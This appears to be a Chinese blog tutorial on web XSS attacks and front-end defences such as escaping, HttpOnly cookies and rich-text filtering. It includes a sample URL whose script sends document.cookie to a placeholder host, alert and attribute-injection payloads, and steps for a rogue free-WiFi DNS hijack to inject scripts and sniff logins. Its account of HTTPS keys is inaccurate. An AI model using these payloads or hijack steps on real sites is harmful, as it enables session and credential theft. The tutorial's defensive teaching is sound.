WEB前端安全之XSS全讲解

Anna
Anna
Anna
61
文章
0
评论
2020年1月15日23:07:05安全防范评论1阅读模式
cross-site scripting跨域脚本攻击，是最常见的Web攻击，其重点是“跨域”和“客户端执行”。
有人将XSS攻击分为三种，分别是：
1. Reflected XSS（基于反射的XSS攻击）
2. Stored XSS（基于存储的XSS攻击）
3. DOM-based or local XSS（基于DOM或本地的XSS攻击）
Reflected XSS
基于反射的XSS攻击，主要依靠站点服务端返回脚本，在客户端触发执行从而发起Web攻击。
例子
1. 做个假设，当亚马逊在搜索书籍，搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容，填入“<script>alert('handsome boy')</script>”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤，直接显示在页面上， 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址，通过QQ群或者垃圾邮件，来让其他人点击这个地址：
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS：这个地址当然是没效的，只是举例子而已。
结论
如果只是1、2、3步做成功，那也只是自己折腾自己而已，如果第4步能做成功，才是个像样的XSS攻击。
开发安全措施
1. 前端在显示服务端数据时候，不仅是标签内容需要过滤、转义，就连属性值也都可能需要。
2. 后端接收请求时，验证请求是否为攻击请求，攻击则屏蔽。
例如：
标签：
<span><script>alert('handsome boy')</script></span>
转义
<span>&lt;script&gt;alert(&#39;handsome boy&#39;)&lt;/script&gt</span>
属性：
如果一个input的value属性值是
琅琊榜" onclick="javascript:alert('handsome boy')
就可能出现
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
点击input导致攻击脚本被执行，解决方式可以对script或者双引号进行过滤。
Stored XSS
WEB前端安全之XSS全讲解
基于存储的XSS攻击，是通过发表带有恶意跨域脚本的帖子/文章，从而把恶意脚本存储在服务器，每个访问该帖子/文章的人就会触发执行。
例子
1. 发一篇文章，里面包含了恶意脚本
今天天气不错啊！<script>alert('handsome boy')</script>
2. 后端没有对文章进行过滤，直接保存文章内容到数据库。
3. 当其他看这篇文章的时候，包含的恶意脚本就会执行。
PS：因为大部分文章是保存整个HTML内容的，前端显示时候也不做过滤，就极可能出现这种情况。
结论
后端尽可能对提交数据做过滤，在场景需求而不过滤的情况下，前端就需要做些处理了。
开发安全措施
1. 首要是服务端要进行过滤，因为前端的校验可以被绕过。
2. 当服务端不校验时候，前端要以各种方式过滤里面可能的恶意脚本，例如script标签，将特殊字符转换成HTML编码。
DOM-based or local XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi，但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面，从而植入恶意脚本。这种直接存在于页面，无须经过服务器返回就是基于本地的XSS攻击。
例子1
提供一个免费的wifi。
1. 开启一个特殊的DNS服务，将所有域名都解析到我们的电脑上，并把Wifi的DHCP-DNS设置为我们的电脑IP。
2. 之后连上wifi的用户打开任何网站，请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
3. 收到服务器返回的数据之后，我们就可以实现网页脚本的注入，并返回给用户。
4. 当注入的脚本被执行，用户的浏览器将依次预加载各大网站的常用脚本库。
这个其实就是wifi流量劫持，中间人可以看到用户的每一个请求，可以在页面嵌入恶意代码，使用恶意代码获取用户的信息，可以返回钓鱼页面。
例子2
1. 还是提供一个免费wifi
2. 在我们电脑上进行抓包
3. 分析数据，可以获取用户的微信朋友圈、邮箱、社交网站帐号数据（HTTP）等。
PS：这个是我的测试，在51job页面登录时进行抓包，可以获取帐号密码。
结论
这攻击其实跟网站本身没有什么关系，只是数据被中间人获取了而已，而由于HTTP是明文传输的，所以是极可能被窃取的。
开发安全措施
使用HTTPS！HTTPS会在请求数据之前进行一次握手，使得客户端与服务端都有一个私钥，服务端用这个私钥加密，客户端用这个私钥解密，这样即使数据被人截取了，也是加密后的数据。
结论
XSS攻击的特点就是：尽一切办法在目标网站上执行非目标网站上原有的脚本（某篇文章说的）。本地的XSS攻击的示例2其实不算XSS攻击，只是简单流量劫持。前两种XSS攻击是我们开发时候要注意的，而流量劫持的则可以使用HTTPS提高安全性。
XSS攻击的解决办法
XSS的攻击五花八门，有没有一招“独孤九剑”能够抗衡，毕竟那么多情况场景，开发人员无法一一照顾过来。下文中，把对应对方式做了总结，分为两类：一是服务端可以干的事，二是客户端可以干的事。
前提
在说XSS解决方式时，有一个前提。就是同源策略——浏览器的同源策略（浏览器安全的基础，即使是攻击脚本也要遵守这法则），限制了来自不同源的“document”或脚本，对当前“document”读取或设置某些属性。除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外，浏览器加载的一些第三方插件也有各自的同源策略。不过script、img、iframe、link等标签都可以跨域加载资源，而不受同源策略的限制。
服务端可以干的事
1. HttpOnly
其实就是现在HTTP协议（HTTPS也是可以的）才能读取cookies，JavaScript是读取不到cookies的。支持浏览器是IE6+、Firefox2+、Google、Safari4+。
JavaEE给Cookie添加HttpOnly的代码：
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
PS：对于HTTPS，还是可以设置Secure字段，对Cookie进行安全加密。
这是本质上不是预防XSS，而是在被攻破时候不允许JS读取Cookie。
2.处理富文本
有些数据因为使用场景问题，并不能直接在服务端进行转义存储。不过富文本数据语义是完整的HTML代码，在输出时也不会拼凑到某个标签的属性中，所以可以当特殊情况特殊处理。处理的过程是在服务端配置富文本标签和属性的白名单，不允许出现其他标签或属性（例如script、iframe、form等），即”XSS Filter“。然后在存储之前进行过滤（过滤原理没有去探明）。
Java有个开源项目Anti-Samy是非常好的XSS Filter：
Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(dirtyInput, policy);
MyUserDao.storeUserProfile(cr.getCleanHTML());
PS：当然也可以在前端显示前过滤，但是我觉得，让前端人员少做东西好，并且服务端只需要转一次。
客户端可以干的事
1. 输入检查
输入检查的逻辑，必须放在服务器端代码中实现（因为用JavaScript做输入检查，很容易被攻击者绕过）。目前Web开发的普遍做法，是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端JavaScript的输入检查，可以阻挡大部分误操作的正常用户，从而节约服务资源。
PS：简单说，就是输入检查，服务端和客户端都要做。
另外攻击者可能输入XSS的地方，例如：
页面中所有的input框
window.location（href、hash等）
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
2. 输出检查
一般就是在变量输出到HTML页面时，使用编码或转义的方式来防御XSS攻击。XSS的本质就是“HTML注入”，用户的数据被当成了HTML代码一部分来执行，从而混淆了原本的语义，产生了新的语义。
触发XSS的地方
document.write
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent
window.attachEvent
document.location.replace
document.location.assign
PS：如果使用jquery，就是那些append、html、before、after等，其实就是拼接变量到HTML页面时产生。大部分的MVC框架在模板（view层）会自动处理XSS问题，例如AngularJS。
用什么编码转义
主要有HTMLEncode和JavaScriptEncode这两个，客户端和服务端都能做。但是让后端去做，我感觉是不大靠谱的，因为数据的使用场景可能有几种，可以在标签、属性、或脚本里（甚至其他终端使用），单单以一种方式去encode是很极限的。
1.HTMLEncode，就是将字符转换成HTMLEntities，一般会转（&、<、>、"、'、/）这6个字符。
2.JavaScriptEncode，是使用”“对特殊字符进行转义。
哪些地方需要编转义
1.在HTML标签、属性中输出——用HTMLEncode
2.在script标签中输出——用JavaScriptEncode
3.在事件中输出——用JavaScriptEncode
<a href="#" onclick="funcA('$var')">test</a>
4.在CSS中输出
用类似JavaScriptEncode的方式。将除了字母、数字外的所有字符都编码成十六进制形式”uHH“。
5.在地址中输出
一般如果变量是整个URL，则先检查变量是否以“http”开头（不是则帮忙添加http），保证不会出现伪协议类的XSS攻击。然后再对变量进行URLEncode。
PS：URLEncode会将字符转换成”%HH“形式。
总结
前端开发人员要注意在正确的地方使用正确的编码方式，有时为了防御XSS，在一个地方我们需要联合HTMLEncode、JavaScriptEncode进行编码，甚至是叠加，并不是固定一种方式编码（又是具体情况具体分析）。
一般存储型XSS风险高于反射型XSS。反射型XSS一般要求攻击者诱使用户点击一个包含XSS代码的URL链接；而存储型只需要用户查看一个正常的URL链接，当用户打开页面时，XSS Payload就会被执行。这样漏洞极其隐蔽，且埋伏在用户的正常业务中，风险很高。

本文来自：变化吧门户-www.bianhb.com
特别声明：以上文章内容仅代表作者本人观点，不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 加入Q群
  • QQ扫一扫
  • weinxin
Anna

发表评论